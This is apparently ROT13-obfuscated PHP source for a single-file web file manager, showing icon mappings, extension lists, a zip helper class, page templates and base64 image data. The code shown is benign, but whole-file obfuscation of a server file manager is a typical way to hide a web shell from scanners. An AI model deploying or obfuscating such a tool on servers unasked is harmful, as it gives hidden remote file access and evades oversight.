pnfr 'z4n': pnfr 'nnp': pnfr 'btt':
pnfr 'btn': pnfr 'jzn': pnfr 'zxn':
pnfr 'synp': pnfr 'np3': pnfr 'gqf':
$vzt = 'vpba-svyr_zhfvp';
oernx;
pnfr 'z3h': pnfr 'z3h8': pnfr 'cyf':
pnfr 'phr':
$vzt = 'vpba-svyr_cynlyvfg';
oernx;
pnfr 'niv': pnfr 'zct': pnfr 'zcrt':
pnfr 'zc4': pnfr 'z4i': pnfr 'syi':
pnfr 's4i': pnfr 'btz': pnfr 'bti':
pnfr 'zbi': pnfr 'zxi': pnfr '3tc':
pnfr 'nfs': pnfr 'jzi':
$vzt = 'vpba-svyr_svyz';
oernx;
pnfr 'rzy': pnfr 'zft':
$vzt = 'vpba-svyr_bhgybbx';
oernx;
pnfr 'kyf': pnfr 'kyfk':
$vzt = 'vpba-svyr_rkpry';
oernx;
pnfr 'pfi':
$vzt = 'vpba-svyr_pfi';
oernx;
pnfr 'qbp': pnfr 'qbpk':
$vzt = 'vpba-svyr_jbeq';
oernx;
pnfr 'ccg': pnfr 'ccgk':
$vzt = 'vpba-svyr_cbjrecbvag';
oernx;
pnfr 'ggs': pnfr 'ggp': pnfr 'bgs':
pnfr 'jbss':pnfr 'jbss2': pnfr 'rbg': pnfr
'sba':
$vzt = 'vpba-svyr_sbag';
oernx;
pnfr 'cqs':
$vzt = 'vpba-svyr_cqs';
oernx;
pnfr 'cfq':
$vzt = 'vpba-svyr_cubgbfubc';
oernx;
pnfr 'nv': pnfr 'rcf':
$vzt = 'vpba-svyr_vyyhfgengbe';
oernx;
pnfr 'syn':
$vzt = 'vpba-svyr_synfu';
oernx;
pnfr 'fjs':
$vzt = 'vpba-svyr_fjs';
oernx;
pnfr 'rkr': pnfr 'zfv':
$vzt = 'vpba-svyr_nccyvpngvba';
oernx;
pnfr 'ong':
$vzt = 'vpba-svyr_grezvany';
oernx;
qrsnhyg:
$vzt = 'vpba-qbphzrag';
}
erghea $vzt;
}
/**
* Trg vzntr svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_vzntr_rkgf()
{
erghea neenl('vpb', 'tvs', 'wct',
'wcrt', 'wcp', 'wc2', 'wck',
'koz', 'jozc', 'cat', 'ozc',
'gvs', 'gvss', 'cfq');
}
/**
* Trg ivqrb svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_ivqrb_rkgf()
{
erghea neenl('jroz', 'zc4', 'z4i',
'btz', 'bti', 'zbi');
}
/**
* Trg nhqvb svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_nhqvb_rkgf()
{
erghea neenl('jni', 'zc3', 'btt',
'z4n');
}
/**
* Trg grkg svyr rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_grkg_rkgf()
{
erghea neenl(
'gkg', 'pff', 'vav',
'pbas', 'ybt', 'ugnpprff',
'cnffjq', 'sgcdhbgn', 'fdy', 'wf',
'wfba', 'fu', 'pbasvt',
'cuc', 'cuc4', 'cuc5',
'cucf', 'cugzy', 'ugz', 'ugzy',
'fugzy', 'kugzy', 'kzy', 'kfy',
'z3h', 'z3h8', 'cyf', 'phr',
'rzy', 'zft', 'pfi', 'ong',
'gjvt', 'gcy', 'zq', 'tvgvtaber',
'yrff', 'fnff', 'fpff', 'p',
'pcc', 'pf', 'cl',
'znc', 'ybpx', 'qgq',
'fit',
);
}
/**
* Trg zvzr glcrf bs grkg svyrf
* @erghea neenl
*/
shapgvba sz_trg_grkg_zvzrf()
{
erghea neenl(
'nccyvpngvba/kzy',
'nccyvpngvba/wninfpevcg',
'nccyvpngvba/k-wninfpevcg',
'vzntr/fit+kzy',
'zrffntr/esp822',
);
}
/**
* Trg svyr anzrf bs grkg svyrf j/b rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_grkg_anzrf()
{
erghea neenl(
'yvprafr',
'ernqzr',
'nhgubef',
'pbagevohgbef',
'punatrybt',
);
}
/**
* Pynff gb jbex jvgu mvc svyrf (hfvat MvcNepuvir)
*/
pynff SZ_Mvccre
{
cevingr $mvc;
choyvp shapgvba __pbafgehpg()
{
$guvf->mvc = arj MvcNepuvir();
}
/**
* Perngr nepuvir jvgu anzr $svyranzr naq svyrf $svyrf (ERYNGVIR
CNGUF!)
* @cnenz fgevat $svyranzr
* @cnenz neenl|fgevat $svyrf
* @erghea obby
*/
choyvp shapgvba perngr($svyranzr, $svyrf)
{
$erf = $guvf->mvc->bcra($svyranzr, MvcNepuvir::PERNGR);
vs ($erf !== gehr) {
erghea snyfr;
}
vs (vf_neenl($svyrf)) {
sbernpu ($svyrf nf $s) {
vs (!$guvf->nqqSvyrBeQve($s)) {
$guvf->mvc->pybfr();
erghea snyfr;
}
}
$guvf->mvc->pybfr();
erghea gehr;
} ryfr {
vs ($guvf->nqqSvyrBeQve($svyrf)) {
$guvf->mvc->pybfr();
erghea gehr;
}
erghea snyfr;
}
}
/**
* Rkgenpg nepuvir $svyranzr gb sbyqre $cngu (ERYNGVIR BE NOFBYHGR
CNGUF)
* @cnenz fgevat $svyranzr
* @cnenz fgevat $cngu
* @erghea obby
*/
choyvp shapgvba hamvc($svyranzr, $cngu)
{
$erf = $guvf->mvc->bcra($svyranzr);
vs ($erf !== gehr) {
erghea snyfr;
}
vs ($guvf->mvc->rkgenpgGb($cngu)) {
$guvf->mvc->pybfr();
erghea gehr;
}
erghea snyfr;
}
/**
* Nqq svyr/sbyqre gb nepuvir
* @cnenz fgevat $svyranzr
* @erghea obby
*/
cevingr shapgvba nqqSvyrBeQve($svyranzr)
{
vs (vf_svyr($svyranzr)) {
erghea $guvf->mvc->nqqSvyr($svyranzr);
} ryfrvs (vf_qve($svyranzr)) {
erghea $guvf->nqqQve($svyranzr);
}
erghea snyfr;
}
/**
* Nqq sbyqre erphefviryl
* @cnenz fgevat $cngu
* @erghea obby
*/
cevingr shapgvba nqqQve($cngu)
{
vs (!$guvf->mvc->nqqRzcglQve($cngu)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (vf_qve($cngu . '/' . $svyr)) {
vs (!$guvf->nqqQve($cngu . '/' .
$svyr)) {
erghea snyfr;
}
} ryfrvs (vf_svyr($cngu . '/' . $svyr)) {
vs (!$guvf->mvc->nqqSvyr($cngu .
'/' . $svyr)) {
erghea snyfr;
}
}
}
}
erghea gehr;
}
erghea snyfr;
}
}
//--- grzcyngrf shapgvbaf
/**
* Fubj ani oybpx
* @cnenz fgevat $cngu
*/
shapgvba sz_fubj_ani_cngu($cngu)
{
?>
<qvi pynff="cngu">
<qvi pynff="sybng-evtug">
<n gvgyr="Hcybnq svyrf" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hcybnq"><v
pynff="vpba-hcybnq"></v></n>
<n gvgyr="Arj sbyqre" uers="#"
bapyvpx="arjsbyqre('<?cuc rpub sz_rap(SZ_CNGU)
?>');erghea snyfr;"><v
pynff="vpba-sbyqre_nqq"></v></n>
<?cuc vs (SZ_HFR_NHGU): ?><n gvgyr="Ybtbhg"
uers="?ybtbhg=1"><v
pynff="vpba-ybtbhg"></v></n><?cuc raqvs; ?>
</qvi>
<?cuc
$cngu = sz_pyrna_cngu($cngu);
$ebbg_hey = "<n uers='?c='><v
pynff='vpba-ubzr' gvgyr='" . SZ_EBBG_CNGU .
"'></v></n>";
$frc = '<v
pynff="vpba-frcnengbe"></v>';
vs ($cngu != '') {
$rkcybqrq = rkcybqr('/', $cngu);
$pbhag = pbhag($rkcybqrq);
$neenl = neenl();
$cnerag = '';
sbe ($v = 0; $v < $pbhag; $v++) {
$cnerag = gevz($cnerag . '/' . $rkcybqrq[$v],
'/');
$cnerag_rap = heyrapbqr($cnerag);
$neenl[] = "<n
uers='?c={$cnerag_rap}'>" .
sz_rap(sz_pbaireg_jva($rkcybqrq[$v])) . "</n>";
}
$ebbg_hey .= $frc . vzcybqr($frc, $neenl);
}
rpub '<qvi pynff="oernx-jbeq">' .
$ebbg_hey . '</qvi>';
?>
</qvi>
<?cuc
}
/**
* Fubj zrffntr sebz frffvba
*/
shapgvba sz_fubj_zrffntr()
{
vs (vffrg($_FRFFVBA['zrffntr'])) {
$pynff = vffrg($_FRFFVBA['fgnghf']) ?
$_FRFFVBA['fgnghf'] : 'bx';
rpub '<c pynff="zrffntr ' . $pynff .
'">' . $_FRFFVBA['zrffntr'] .
'</c>';
hafrg($_FRFFVBA['zrffntr']);
hafrg($_FRFFVBA['fgnghf']);
}
}
/**
* Fubj cntr urnqre
*/
shapgvba sz_fubj_urnqre()
{
$fcevgrf_ire = '20160315';
urnqre("Pbagrag-Glcr: grkg/ugzy; punefrg=hgs-8");
urnqre("Rkcverf: Fng, 26 Why 1997 05:00:00 TZG");
urnqre("Pnpur-Pbageby: ab-fgber, ab-pnpur, zhfg-erinyvqngr,
cbfg-purpx=0, cer-purpx=0");
urnqre("Centzn: ab-pnpur");
?>
<!QBPGLCR ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8">
<gvgyr>CUC Svyr Znantre</gvgyr>
<fglyr>
ugzy,obql,qvi,fcna,c,cer,n,pbqr,rz,vzt,fznyy,fgebat,by,hy,yv,sbez,ynory,gnoyr,ge,gu,gq{znetva:0;cnqqvat:0;iregvpny-nyvta:onfryvar;bhgyvar:abar;sbag-fvmr:100%;onpxtebhaq:genafcnerag;obeqre:abar;grkg-qrpbengvba:abar}
ugzy{biresybj-l:fpebyy}obql{cnqqvat:0;sbag:13ck/16ck
Gnubzn,Nevny,fnaf-frevs;pbybe:#222;onpxtebhaq:#rsrsrs}
vachg,fryrpg,grkgnern,ohggba{sbag-fvmr:vaurevg;sbag-snzvyl:vaurevg}
n{pbybe:#296rn3;grkg-qrpbengvba:abar}n:ubire{pbybe:#o00}vzt{iregvpny-nyvta:zvqqyr;obeqre:abar}
n
vzt{obeqre:abar}fcna.tenl{pbybe:#777}fznyy{sbag-fvmr:11ck;pbybe:#999}c{znetva-obggbz:10ck}
hy{znetva-yrsg:2rz;znetva-obggbz:10ck}hy{yvfg-fglyr-glcr:abar;znetva-yrsg:0}hy
yv{cnqqvat:3ck 0}
gnoyr{obeqre-pbyyncfr:pbyyncfr;obeqre-fcnpvat:0;znetva-obggbz:10ck;jvqgu:100%}
gu,gq{cnqqvat:4ck 7ck;grkg-nyvta:yrsg;iregvpny-nyvta:gbc;obeqre:1ck fbyvq
#qqq;onpxtebhaq:#sss;juvgr-fcnpr:abjenc}
gu,gq.tenl{onpxtebhaq-pbybe:#rrr}gq.tenl fcna{pbybe:#222}
ge:ubire gq{onpxtebhaq-pbybe:#s5s5s5}ge:ubire
gq.tenl{onpxtebhaq-pbybe:#rrr}
pbqr,cer{qvfcynl:oybpx;znetva-obggbz:10ck;sbag:13ck/16ck
Pbafbynf,'Pbhevre Arj',Pbhevre,zbabfcnpr;obeqre:1ck qnfurq
#ppp;cnqqvat:5ck;biresybj:nhgb}
cer.jvgu-uywf{cnqqvat:0}
cer.jvgu-uywf pbqr{znetva:0;obeqre:0;biresybj:ivfvoyr}
pbqr.znkurvtug,cer.znkurvtug{znk-urvtug:512ck}vachg[glcr="purpxobk"]{znetva:0;cnqqvat:0}
#jenccre{znk-jvqgu:1000ck;zva-jvqgu:400ck;znetva:10ck nhgb}
.cngu{cnqqvat:4ck 7ck;obeqre:1ck fbyvq
#qqq;onpxtebhaq-pbybe:#sss;znetva-obggbz:10ck}
.evtug{grkg-nyvta:evtug}.pragre{grkg-nyvta:pragre}.sybng-evtug{sybng:evtug}
.zrffntr{cnqqvat:4ck 7ck;obeqre:1ck fbyvq #qqq;onpxtebhaq-pbybe:#sss}
.zrffntr.bx{obeqre-pbybe:terra;pbybe:terra}
.zrffntr.reebe{obeqre-pbybe:erq;pbybe:erq}
.zrffntr.nyreg{obeqre-pbybe:benatr;pbybe:benatr}
.oga{obeqre:0;onpxtebhaq:abar;cnqqvat:0;znetva:0;sbag-jrvtug:obyq;pbybe:#296rn3;phefbe:cbvagre}.oga:ubire{pbybe:#o00}
.cerivrj-vzt{znk-jvqgu:100%;onpxtebhaq:hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNVNNNPDxJt2NNNNXxyRDIE42zY5//8/Nmoj+CSweBWZQPFPHD3RNOMp4F0eXmfnFiGGNOOtNZlsPZfL4O9vNNNNNRySGxFhDzPP")
ercrng 0 0}
.cerivrj-ivqrb{cbfvgvba:eryngvir;znk-jvqgu:100%;urvtug:0;cnqqvat-obggbz:62.5%;znetva-obggbz:10ck}.cerivrj-ivqrb
ivqrb{cbfvgvba:nofbyhgr;jvqgu:100%;urvtug:100%;yrsg:0;gbc:0;onpxtebhaq:#000}
[pynff*="vpba-"]{qvfcynl:vayvar-oybpx;jvqgu:16ck;urvtug:16ck;onpxtebhaq:hey("<?cuc
rpub SZ_FRYS_HEY ?>?vzt=fcevgrf&nzc;g=<?cuc rpub $fcevgrf_ire
?>") ab-ercrng 0 0;iregvpny-nyvta:obggbz}
.vpba-qbphzrag{onpxtebhaq-cbfvgvba:-16ck
0}.vpba-sbyqre{onpxtebhaq-cbfvgvba:-32ck 0}
.vpba-sbyqre_nqq{onpxtebhaq-cbfvgvba:-48ck
0}.vpba-hcybnq{onpxtebhaq-cbfvgvba:-64ck 0}
.vpba-neebj_hc{onpxtebhaq-cbfvgvba:-80ck
0}.vpba-ubzr{onpxtebhaq-cbfvgvba:-96ck 0}
.vpba-frcnengbe{onpxtebhaq-cbfvgvba:-112ck
0}.vpba-pebff{onpxtebhaq-cbfvgvba:-128ck 0}
.vpba-pbcl{onpxtebhaq-cbfvgvba:-144ck
0}.vpba-nccyl{onpxtebhaq-cbfvgvba:-160ck 0}
.vpba-pnapry{onpxtebhaq-cbfvgvba:-176ck
0}.vpba-eranzr{onpxtebhaq-cbfvgvba:-192ck 0}
.vpba-purpxobk{onpxtebhaq-cbfvgvba:-208ck
0}.vpba-purpxobk_vaireg{onpxtebhaq-cbfvgvba:-224ck 0}
.vpba-purpxobk_hapurpx{onpxtebhaq-cbfvgvba:-240ck
0}.vpba-qbjaybnq{onpxtebhaq-cbfvgvba:-256ck 0}
.vpba-tbonpx{onpxtebhaq-cbfvgvba:-272ck
0}.vpba-sbyqre_bcra{onpxtebhaq-cbfvgvba:-288ck 0}
.vpba-svyr_nccyvpngvba{onpxtebhaq-cbfvgvba:0
-16ck}.vpba-svyr_pbqr{onpxtebhaq-cbfvgvba:-16ck -16ck}
.vpba-svyr_pfi{onpxtebhaq-cbfvgvba:-32ck
-16ck}.vpba-svyr_rkpry{onpxtebhaq-cbfvgvba:-48ck -16ck}
.vpba-svyr_svyz{onpxtebhaq-cbfvgvba:-64ck
-16ck}.vpba-svyr_synfu{onpxtebhaq-cbfvgvba:-80ck -16ck}
.vpba-svyr_sbag{onpxtebhaq-cbfvgvba:-96ck
-16ck}.vpba-svyr_ugzy{onpxtebhaq-cbfvgvba:-112ck -16ck}
.vpba-svyr_vyyhfgengbe{onpxtebhaq-cbfvgvba:-128ck
-16ck}.vpba-svyr_vzntr{onpxtebhaq-cbfvgvba:-144ck -16ck}
.vpba-svyr_zhfvp{onpxtebhaq-cbfvgvba:-160ck
-16ck}.vpba-svyr_bhgybbx{onpxtebhaq-cbfvgvba:-176ck -16ck}
.vpba-svyr_cqs{onpxtebhaq-cbfvgvba:-192ck
-16ck}.vpba-svyr_cubgbfubc{onpxtebhaq-cbfvgvba:-208ck -16ck}
.vpba-svyr_cuc{onpxtebhaq-cbfvgvba:-224ck
-16ck}.vpba-svyr_cynlyvfg{onpxtebhaq-cbfvgvba:-240ck -16ck}
.vpba-svyr_cbjrecbvag{onpxtebhaq-cbfvgvba:-256ck
-16ck}.vpba-svyr_fjs{onpxtebhaq-cbfvgvba:-272ck -16ck}
.vpba-svyr_grezvany{onpxtebhaq-cbfvgvba:-288ck
-16ck}.vpba-svyr_grkg{onpxtebhaq-cbfvgvba:-304ck -16ck}
.vpba-svyr_jbeq{onpxtebhaq-cbfvgvba:-320ck
-16ck}.vpba-svyr_mvc{onpxtebhaq-cbfvgvba:-336ck -16ck}
.vpba-ybtbhg{onpxtebhaq-cbfvgvba:-304ck
0}.vpba-punva{onpxtebhaq-cbfvgvba:-320ck 0}
.vpba-yvax_sbyqre{onpxtebhaq-cbfvgvba:-352ck
-16ck}.vpba-yvax_svyr{onpxtebhaq-cbfvgvba:-368ck -16ck}
.pbzcnpg-gnoyr{obeqre:0;jvqgu:nhgb}.pbzcnpg-gnoyr gq,.pbzcnpg-gnoyr
gu{jvqgu:100ck;obeqre:0;grkg-nyvta:pragre}.pbzcnpg-gnoyr ge:ubire
gq{onpxtebhaq-pbybe:#sss}
.svyranzr{znk-jvqgu:420ck;juvgr-fcnpr:abjenc;biresybj:uvqqra;grkg-biresybj:ryyvcfvf}
.oernx-jbeq{jbeq-jenc:oernx-jbeq}
</fglyr>
<yvax ery="vpba" uers="<?cuc rpub SZ_FRYS_HEY
?>?vzt=snivpba" glcr="vzntr/cat">
<yvax ery="fubegphg vpba" uers="<?cuc rpub SZ_FRYS_HEY
?>?vzt=snivpba" glcr="vzntr/cat">
<?cuc vs (vffrg($_TRG['ivrj']) && SZ_HFR_UVTUYVTUGWF):
?>
<yvax ery="fglyrfurrg"
uers="//pqawf.pybhqsyner.pbz/nwnk/yvof/uvtuyvtug.wf/9.2.0/fglyrf/<?cuc
rpub SZ_UVTUYVTUGWF_FGLYR ?>.zva.pff">
<?cuc raqvs; ?>
</urnq>
<obql>
<qvi vq="jenccre">
<?cuc
}
/**
* Fubj cntr sbbgre
*/
shapgvba sz_fubj_sbbgre()
{
?>
<c pynff="pragre"><fznyy><n
uers="uggcf://tvguho.pbz/nyrknage/svyrznantre"
gnetrg="_oynax">CUC Svyr
Znantre</n></fznyy></c>
</qvi>
<fpevcg>
shapgvba arjsbyqre(c){ine a=cebzcg('Arj sbyqre
anzr','sbyqre');vs(a!==ahyy&&a!==''){jvaqbj.ybpngvba.frnepu='c='+rapbqrHEVPbzcbarag(c)+'&arj='+rapbqrHEVPbzcbarag(a);}}
shapgvba eranzr(c,s){ine a=cebzcg('Arj
anzr',s);vs(a!==ahyy&&a!==''&&a!=s){jvaqbj.ybpngvba.frnepu='c='+rapbqrHEVPbzcbarag(c)+'&era='+rapbqrHEVPbzcbarag(s)+'&gb='+rapbqrHEVPbzcbarag(a);}}
shapgvba punatr_purpxobkrf(y,i){sbe(ine
v=y.yratgu-1;v>=0;v--){y[v].purpxrq=(glcrbs
i==='obbyrna')?i:!y[v].purpxrq;}}
shapgvba trg_purpxobkrf(){ine
v=qbphzrag.trgRyrzragfOlAnzr('svyr[]'),n=[];sbe(ine
w=v.yratgu-1;w>=0;w--){vs(v[w].glcr='purpxobk'){n.chfu(v[w]);}}erghea
n;}
shapgvba fryrpg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y,gehr);}
shapgvba hafryrpg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y,snyfr);}
shapgvba vaireg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y);}
shapgvba purpxobk_gbttyr(){ine
y=trg_purpxobkrf();y.chfu(guvf);punatr_purpxobkrf(y);}
</fpevcg>
<?cuc vs (vffrg($_TRG['ivrj']) && SZ_HFR_UVTUYVTUGWF):
?>
<fpevcg
fep="uggcf://pqawf.pybhqsyner.pbz/nwnk/yvof/uvtuyvtug.wf/9.2.0/uvtuyvtug.zva.wf"></fpevcg>
<fpevcg>uywf.vavgUvtuyvtugvatBaYbnq();</fpevcg>
<?cuc raqvs; ?>
</obql>
</ugzy>
<?cuc
}
/**
* Fubj vzntr
* @cnenz fgevat $vzt
*/
shapgvba sz_fubj_vzntr($vzt)
{
$zbqvsvrq_gvzr = tzqngr('Q, q Z L 00:00:00') . '
TZG';
$rkcverf_gvzr = tzqngr('Q, q Z L 00:00:00',
fgegbgvzr('+1 qnl')) . ' TZG';
$vzt = gevz($vzt);
$vzntrf = sz_trg_vzntrf();
$vzntr =
'vIOBEj0XTtbNNNNAFHuRHtNNNNRNNNNOPNLNNNNsSpFWNNNNRRyRDIE42zY4//8/N0PNNDNV/NY+26WAStNNNNOWEH5RexWttt==';
vs (vffrg($vzntrf[$vzt])) {
$vzntr = $vzntrf[$vzt];
}
$vzntr = onfr64_qrpbqr($vzntr);
vs (shapgvba_rkvfgf('zo_fgeyra')) {
$fvmr = zo_fgeyra($vzntr, '8ovg');
} ryfr {
$fvmr = fgeyra($vzntr);
}
vs (shapgvba_rkvfgf('urnqre_erzbir')) {
urnqre_erzbir('Pnpur-Pbageby');
urnqre_erzbir('Centzn');
} ryfr {
urnqre('Pnpur-Pbageby:');
urnqre('Centzn:');
}
urnqre('Ynfg-Zbqvsvrq: ' . $zbqvsvrq_gvzr, gehr, 200);
urnqre('Rkcverf: ' . $rkcverf_gvzr);
urnqre('Pbagrag-Yratgu: ' . $fvmr);
urnqre('Pbagrag-Glcr: vzntr/cat');
rpub $vzntr;
rkvg;
}
/**
* Trg onfr64-rapbqrq vzntrf
* @erghea neenl
*/
shapgvba sz_trg_vzntrf()
{
erghea neenl(
'snivpba' =>
'vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOW
oJSaMIWyLJE5ppyyCNNNNMIWERSHrAdxx79Yj0NHk1+hvqGDvz4Jnkscay1OpUZE6hYxVS0pcLBV
s4XoBSpEjoTGp0UDFIDDKPdySVKtSxuVliJF870YnnCLU9PQl8iqso+srl930nFHZRiG6IUImj8k
eXHK3A3Uw/8Z+pM6TpBgOCy6XL5vNN7XWmsIJesouHXuNYMgD6zlQs1+K5afhmwYHzHBacn+i5e1
M4MQQsfYvjRE45kQRNGtBV6XagsQq091TvqmP8iM4iU1DD09+4ZFZNZJEERXCZuzfle6ibLzeao2
CXRvmqRnoHnrSPQXPPUNqI0jGIASmaZtcIdTyM2pvcmUTgXFMjPVMWtWjkO38XUG6Fwk21I75Wpa
YKzTNXGEcTIMHk2qNdDmFRdj9xdjhTdBAGhsCej37Q8yDSkPiwtCKVvkNAYRTsjhDnpZBP4xMm+d
TquWF550OwcEPqPoNWPZWExZNFRVt+4Okm4WjNjQFRhrNLQYVZ+DeBx6TUvEkwKFxWL8XHPiqKM6
xohiAk+zBpoA9gnTOycYNJs9aK8RTNQbPsdxXJI/ptNNNNOWEH5RexWttt==',
'fcevgrf' =>
'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
